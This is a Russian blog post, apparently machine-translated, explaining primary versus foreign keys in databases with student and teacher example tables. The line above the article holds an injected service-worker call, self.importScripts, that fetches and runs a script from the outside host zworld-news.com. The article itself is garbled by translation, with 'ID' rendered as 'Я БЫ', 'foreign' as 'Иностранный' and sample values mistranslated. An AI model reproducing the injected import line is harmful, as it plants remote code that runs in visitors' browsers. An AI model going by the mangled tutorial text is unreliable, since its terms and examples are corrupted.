google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Разница между первичным ключом и внешним ключом

«Ключ» является одним из самых основных и важных понятий системы управления базами данных (СУБД); ключи помогают нам легко работать с записями и таблицами в нашей базе данных, предоставляя нам легкий доступ и извлечение данных из таблицы. Первичный ключ - это первый ключ, который нужно понять, так как он однозначно идентифицирует конкретную запись любой таблицы. Однако первичный ключ и внешний ключ не следует путать друг с другом, поскольку они имеют совершенно другое определение, а также их использование. Вот различия между ними.
Разница между первичным ключом и внешним ключом

Разница между первичным ключом и внешним ключом

S.no.Основной ключИностранный ключ
1Первичный ключ конкретной таблицы - это атрибут, который уникально идентифицирует каждую запись и не содержит нулевого значения.Внешний ключ конкретной таблицы - это просто первичный ключ некоторой другой таблицы, который используется в качестве ссылочного ключа во второй таблице.
2Атрибут первичного ключа в таблице никогда не может содержать нулевое значение.Атрибут внешнего ключа также может иметь нулевые значения.
3В таблице допускается не более одного первичного ключа.Таблица может иметь один или несколько внешних ключей для ссылочных целей.
4Двуличность строго запрещена в первичном ключе; не может быть повторяющихся значений.Двойственность разрешена в атрибуте внешнего ключа, поэтому допустимы повторяющиеся значения.
5Пример:
Рассмотрим таблицу ученик, которая ведет учет учеников в классе:
Здесь Id - это первичный ключ, который однозначно определяет каждую запись в таблице «student»
Я БЫНАЗВАНИЕАдрес
101азбукаИкс
102DEFY
103ГХИZ
104JKLвес
Теперь давайте рассмотрим таблицу учителя, которая записывает учителей в школе:
Здесь Tid или идентификатор учителя - это уникальный первичный ключ для каждой записи в таблице. В этой таблице используется атрибут «ID», который является первичным ключом таблицы «student», в качестве ссылочного или внешнего ключа для ссылки на учащегося, которому преподает конкретный учитель:
TIDНАЗВАНИЕTAddressЯ БЫ
1Priyaп101
2Рияр102
3СэмS102
4ТомT103
Поскольку одного ученика обучают несколько учителей, атрибут ID (который является внешним ключом в этой таблице) содержит повторяющиеся значения.
Внешний ключ одной таблицы, хотя и является производным от первичного ключа другой таблицы, обладает совершенно другими характеристиками, и эти различия имеют решающее значение, о котором следует позаботиться, чтобы избежать ошибок.
Комментарий ниже, если у вас есть вопросы, связанные с первичным ключом против внешнего ключа.

Комментариев нет:

Отправить комментарий